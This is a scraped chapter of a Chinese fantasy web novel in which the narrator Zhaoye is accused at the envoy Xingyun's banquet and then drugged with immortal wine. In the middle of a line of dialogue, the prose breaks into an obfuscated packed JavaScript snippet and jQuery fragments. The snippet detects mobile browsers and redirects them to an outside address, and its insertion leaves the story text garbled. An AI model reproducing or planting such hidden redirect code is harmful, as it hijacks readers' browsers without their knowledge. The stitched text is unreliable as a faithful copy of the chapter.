默认冷灰
24号文字
方正启体

79. 第 79 章

作者:极闲攻本书字数:K更新时间:
    今日这顿饭实在过于热闹,一顿饭下来,我耳朵里仿佛还嗡嗡作响。酒足饭饱后,那几位竟然勾肩搭背地唱跳起来,场面堪称壮观。


    唯独盛放安静得有些反常。


    这家伙,心里一定藏着事。


    趁着在露台透气的间隙,我问起了浩哥的事。盛放没有多言,只承认丽娘确实是她的养母。当我追问丽娘如今身在何处时,她却移开了话题。


    “谢谢你,照夜。这机会原本是你的……”


    我连忙摆手,“不不不,我从来就没想参赛。况且什么十二艺,我恐怕一项都过不了。”


    “哈哈哈,看来你今天来晚了,没听到规则——十二艺的计分占比其实很小,关键还是看票数,就像仙界的口碑榜一样。”


    “那决赛又比什么?”


    盛放望着远处,发间那支我们一起在归德地下洞窟找到的白玉簪,在夕阳下泛着温润的光泽,“管他呢,不重要。”


    这场宴饮一直持续到傍晚。那几位还意犹未尽时,月终臭着脸前来付账,顺便带走了盛放和环琛。尚存几分清醒的无悔则左扶右搀,把桃夭和大铁棘弄了回去。


    我与谷阿翁便沿着长街慢慢散步。他从魔界得到消息,一个月后的圣女选拔决赛,不仅仙帝将亲临观礼,魔界的国师——也就是环琛和泉礼的长兄原途——也将应邀前来。


    “……仙魔两界都要到场?”


    “嗯。看来魔界想借此机会向仙界示好。这场合选得巧妙,既不过分正式,又不失郑重。”


    “那,那钩星呢,他的意思呢?”


    “魔皇陛下尚不够强大,眼下不能与仙界交恶。即便他心知仙界不可信,渊寂不可信……也只得暂且周旋。”


    我长叹一声,胸口莫名发闷。审时度势从来不是喜好,而是无奈之选。魔界才走出昔日的荒芜不久,钩星又太过年轻,此时选择与仙界通商合作,确是上策。


    而天翮城,恰是一个绝佳的通商口岸。


    我望向远处缓缓走来的宏音,心中暗叹,若他能促成两界合作,这城主之位或许还能坐得稳些。


    真是复杂。撇开这些纷繁的外交关系不谈,渊寂亲临天翮城之时,或许正是穆青取走源涡池仙力的最佳时机,只盼他一切顺利,早点回来接我才是。


    谷阿翁还需出城接应游山一行人,便先走了,我则决定随宏音回去,继续享受几天好日子。


    路上,见我神色沉郁,宏音问起这几日我在秘典室有何收获。我有些尴尬——因我大多时间都在上层翻话本,只有尾巴独自留在下面啃古籍。


    “看来,你还没认输,照夜。”


    “是他没认输。”


    “你自己的仙力,何必分得如此清楚?”宏音步履悠然,似在欣赏沿途的夜色,“在旁人看来,你这症状可称作——精神分裂。”


    “哼,要你管。”


    “……脾气还挺倔,听不得批评。”


    “你又不是我爹,你的批评我才不听。”


    宏音脚步微顿,示意我上马车,“我今已两百六十余岁,当你爹爹绰绰有余,照夜。”


    “这么说……棠梨是你一手带大的?”


    “嗯,她出生后不久,就是我在养她。”


    原来,宏音算是棠梨的父亲。


    时隔多日,那冷得刺骨的浴池又蓄满了水。光是看到水面升腾的白雾,我都觉得牙齿发颤。我制止了要下水的汀汀,自己迅速在水里滚了一圈就爬了上来。


    正在屋里擦头发时,宏音又来了。


    与白日一丝不苟的装束不同,此刻宏音长发散落,只随意披着件睡袍。他从我手中接过柔软的棉巾,熟练地拢起我的长发轻轻绞干。镜中,他始终低垂着眼眸,神色难辨,“明日还去藏书馆?”


    “我想去哪儿就去哪儿,不用向你报备。”


    “星允问起你为何没有参赛。明日你随我去一趟。”


    “一个个管得真宽。”我撇撇嘴,“我是青莲山的人,除了小青,谁也别想管我。”


    “给你做的衣裳为何不穿?不喜欢?”


    我没好气地回嘴,“……你可以不必做这些。”


    我有些懊恼地挣脱宏音的手,话到嘴边却咽了回去——因为我看见了宏音眼底那抹藏得极深的哀恸与悔意,“我有些糊涂了……我究竟有几分像棠梨?”


    宏音苦笑一声,“外貌、脾气、声音,甚至微笑和哭泣时的神态……都像极了。”


    我抿着嘴唇,轻声道,“我知道了。明天我跟你去。星允上仙那儿我会解释清楚,反正罪多不压身,我不怕他。”


    “不知如何回答,便跳过极像棠梨这个话题么?”宏音轻轻放下棉巾,“也罢。需要晚安吻吗?”


    我立刻跳出八步远,连连挥手,“不要不要不要!”


    次日出发前,我依然拒绝穿上那身合体又华贵的金蚕丝衣裳。即便我摆着一张臭脸,宏音也只是选择顺着我,倒让我不好意思乱发脾气了。


    尾巴百无聊赖地趴在我头顶,打了个哈欠评价道,“狡猾的男人,摆出弱势姿态,为的是更强势地达到目的。照夜你这个笨蛋,对男人的了解还停在皮毛上呢。”


    宏音似乎已习惯我的“自言自语”,只是微微闭目养神,并不作声。


    “一会儿要见星允,可想好怎么应付了?”


    尾巴滑到我胸前,光晕里透出跃跃欲试的笑意,“我倒想试试星允的本事。听说他的战力不输青莲……打一场,顺便从他身上薅点仙力存着。”


    “啊?我才不要!那样会被卫戍司通缉的!再说那种脏兮兮的仙力,我才不要吸进身体里……”


    尾巴拽着我的辫子荡起秋千,惬意得很,“咦,还挺讲究。其实……有件事我没告诉你。基本上呢,只要是你认识、接触过的人,无论敌友,他们的仙力……我都尝过一口。”


    如雷贯耳!我抓起尾巴用力摇晃,气得头顶冒烟,“可恶!不可以这样!好变态的感觉!”


    尾巴大笑道,“轻点轻点!就是浅尝一口嘛,那点‘口粮’转眼就被你体内的仙力净化干净,褪色了。除了舒岸的——他的力量被我单独留了下来。”


    “……罢了罢了。”我偷瞄了一眼对面闭目养神的宏音,压低声音问,“尾巴,宏音的仙力……是什么味道?”


    尾巴咂了咂并不存在的嘴,深深叹息,“是无限哀恸的味道……就像今天这场大雨。”


    大雨倾盆,仿佛天穹被撕开了一道缺口。出城后,我们来到深隐在密林中的宅邸。我抬头望见门楣上的匾额:无辰院。


    “欢迎,城主大人。”没想到溟牙竟候在门前。那条黑脊蛇从他袖口悄悄探出头,警觉地打量着我。


    我不过比划了个“打结”的手势,它便猛地缩了回去。


    可恶……胆小成这样,反倒让人觉得有点可爱了。


    上次来得匆忙未曾细看,我这次才发现院里竟有不少信女。我拽拽宏音的袖子,低声问,“信女不是只侍奉圣女么?怎会在这里?”


    宏音神色依旧平淡,“有些事你既不懂,便不必追问。问多了,反倒显得我们太过不堪。”


    我正想再问,却被耳后的尾巴打断了思绪。


    尾巴贴着我的颈侧,深深嗅着我身上沾染的月羽花香,声音里带着某种了然的戏谑,“笨蛋,信女个个相貌身段出众,被派来‘伺候’贵客也是常事。由此可见,这位仙使的威势——非同一般啊。”


    “‘伺候’?”我脸颊一热,支吾起来,“包括……那种事吗?”


    尾巴轻嗤一声,“仙人又不是和尚。你以为这世上真有那么多不染尘埃的得道之士?早说过了,男人脑子里就不可能不想那档子事。”


    今日显然是场正式宴请。除了星允、溟牙与宏音,座上还有一位仅有一面之缘的男人——化西城主图拉。


    我心里一紧,下意识垂下头,攥紧了宏音的衣角,试图把自己藏起来。


    果然,尚未落座,图拉便猛地起身,指着我高声道,“仙使大人!就是她!当初就是她伙同逆贼未生做了回伪君的说客,企图隐瞒归德城灭的真相!事后还炸了湖,闹得人心惶惶!”


    星允好整以暇地坐在上首,手支下颌,一副看戏的神态,“哟,照夜。你自归德离开,一路来到天翮,倒是做了不少事啊。说是来参加圣女选拔,结果呢——”


    “回、回禀星允


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17549545|204291||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上仙——”


    话音未落,两名仙军已按住我的肩膀,厉声呵斥,“既为仙民,面见上仙岂敢不跪!”说着便要押我下跪。


    宏音却抬手托住我的肘弯,神色淡漠,“仙使,照夜如今是我宏音的贵客。若执意为难她,今日这酒,不饮也罢。”


    “哟,聆月使大人这是喝了什么迷魂汤?”溟牙在一旁阴阳怪气,“才多久,就被这小胖丫头迷了心窍?莫非真如传闻所说——因她与前任圣女圣司大人有几分相似,便勾起了旧情?”


    宏音向来不避讳外界的揣测,答得坦然,“正是如此。有问题么?”


    “仙、仙使大人您也瞧见了……”图拉赶紧陪着笑,声音愈发谄媚,“是天翮不受管束啊!从前人君管着,他们便这般强硬无理。我们化西势弱,实在无力抗衡……如今既由仙帝做主,化西不敢不尊。只是这城主之位……您看,是否还有通融的余地……”


    星允抬手打断了图拉的笑脸,“图拉,化西乃前线要冲,改由昆吾仙人镇守,是帝君的旨意。尔等要违逆不成?”


    “不敢,不敢!全听帝尊安排!”


    我心中一震——化西城竟已撤换城主,改由玄珠位列的昆吾仙人镇守!这位仙人我虽了解不多,却知其骁勇善战,常年隐于秘境清修,极少涉世。


    偷眼看向身旁镇定自若的宏音,我心头越发沉重,看来他这个天翮城主,恐怕也坐不久了。


    “罢了。”星允的声音再度响起,听不出喜怒,“今日请二位前来本是饮酒作乐,正事暂且不提。请坐吧。”


    既如此,众人也不再多言,纷纷落座。我暗暗松了口气,紧挨着宏音坐下,警惕地扫视着席间众人。


    今日这场鸿门宴,不知是准备给谁下套。


    歌舞声渐起,席间凝滞的气氛终于松动了几分。我也稍稍放松了肩背,正暗自舒了口气,忽觉脚腕传来一阵冰凉滑腻的触感。


    低头一看,竟是溟牙那条黑脊蛇不知何时盘到了我脚边,细长的蛇信正有一下没一下地轻触着我裸露的脚踝。


    “啧,这臭蛇是不是有什么怪癖?被打结打上瘾了?又难受又享受似的。”尾巴趴在我膝头,不满地探出光晕发起了牢骚,冲那蛇发出威胁的咕噜声,“快滚,照夜是我的!”


    “嘶~”


    “尾巴,它说什么?”


    “……这蛇说,酒。”


    我皱着眉“啊?”了一声,刚想伸手去捞,那蛇却“呲溜”一下滑过地面,转眼游走了。


    “窸窸窣窣,多动、坐不住,扭来扭去,片刻不得安宁。”宏音的声音在身旁淡淡响起,“坏毛病,得改。”


    一听宏音又开始念叨,我头都大了——又不是我爹,偏要摆出这副爹样,真是讨厌!


    见我捂住耳朵以示抗议,宏音只是无奈地轻叹,手掌却温和地抚了抚我的后脑。


    此时,星允微微抬手,“诸位,这一坛醉仙酒,乃以黑雾崖所产的圣桦琼酿窖藏而成。今日特请各位共品。”


    几位身姿窈窕的信女面无表情地逐一斟酒。浓烈的酒香顷刻弥漫开来,似有实质般缠绕在脖颈间,扼住了饮酒之人的呼吸。


    我端起酒杯细嗅——确有圣桦琼汁独有的清冽芬芳。这琼汁产量极稀,有强身延寿之效,可谓万金难求,如今竟用来酿酒,实在奢靡。


    见众人举杯尽饮,我不疑有他,也跟着抿了一小口。


    下一秒,天旋地转,倒头就睡。


    曾有一次,我在青莲山脚下向游商买了一坛醉仙酒,听闻此酒甘醇,纵是仙人也难抵其魅,会拜倒其绝味之下。我兴冲冲带回山上找穆青,想让他也尝尝这“拜倒”的滋味。结果他只饮了一小杯,便醉了三天三夜。此事被百目仙人的法眼窥见,一纸“饮酒作乐、纵情声色”的状告到了仙帝煌木跟前。


    虽那时煌木已然闭关,未曾理会,但时任玄珠首席的渊寂仍给了穆青一道通报仙界的批评。自那以后,我再未让穆青碰过酒——尽管他本人并不在意,偶遇清甜的果酒时,仍会陪我小酌。唯独醉仙酒,成了再不敢触及的禁忌。


    以我的酒量,断不可能一杯即倒。况且……我并非仙人,这酒为何能——醉倒我?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)